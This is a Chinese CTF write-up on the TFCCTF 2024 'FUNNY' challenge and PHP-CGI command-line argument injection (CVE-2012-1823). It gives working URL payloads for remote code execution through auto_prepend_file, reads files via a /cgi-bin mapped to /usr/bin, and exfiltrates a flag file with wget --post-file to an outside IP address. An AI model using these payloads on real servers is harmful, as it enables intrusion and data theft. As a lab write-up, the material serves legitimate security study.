【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用
CSDN 2024-09-09 16:03:02 阅读 68
目录
背景 CVE-2012-1823
发散利用
法一:读文件
法二:数据外带
背景 CVE-2012-1823
PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌
省流:
命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入
简单复现:
vulhub的环境
<code>/index.php?-s
查看源码
文件包含RCE
<code>/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
发散利用
以TFCCTF 2024的FUNNY这题为例
附件中有这样一段配置
ScriptAlias /cgi-bin /usr/bin:
<code>ScriptAlias指令将URL路径
/cgi-bin
映射到服务器上的实际文件路径/usr/bin
。当访问http://yourdomain/cgi-bin
时,服务器实际上会访问/usr/bin
目录中的文件。
Action php-script /cgi-bin/php-cgi:
Action
指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的php-script
处理程序与路径/cgi-bin/php-cgi
关联。也就是说,当一个文件被指定为php-script
类型时,服务器会将其传递给/cgi-bin/php-cgi
进行处理。
AddHandler php-script .php:
AddHandler
指令将文件扩展名.php
与前面定义的php-script
处理程序关联。这意味着服务器会将所有扩展名为.php
的文件当作php-script
类型文件,并用/cgi-bin/php-cgi
处理它们。
<Directory /usr/bin>:
该指令块定义了对于
/usr/bin
目录的访问控制规则。Order allow,deny:这行定义了访问控制的顺序,首先allow
(允许)访问,然后deny
(拒绝)。这意味着所有未明确允许的请求将被拒绝。Allow from all:这行允许所有来源的访问。
总的来说,这段配置定义了一个CGI环境,其中所有的 .php
文件会通过位于 /usr/bin
目录中的 php-cgi
脚本进行处理,并允许所有用户访问 /usr/bin
目录。
扫目录
直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令
法一:读文件
类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input
会被执行为
<code>#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input
这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是
#!/usr/bin/cat /flag.txt
但操作后回显404,这意味着靶机/usr/bin下没有cat命令
尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显
/cgi-bin/nl?/flag.txt
似乎不能读文件了
但其实可以
pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。
payload:
<code>/cgi-bin/pr?/flag.txt
解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出
响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500
法二:数据外带
curl回显404
用wget外带数据
哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云
目标执行#!/usr/bin/wget http://124.222.136.33:1337 d --post-file=/flag.txt
payload:
<code>/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt
成功接收到文件
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。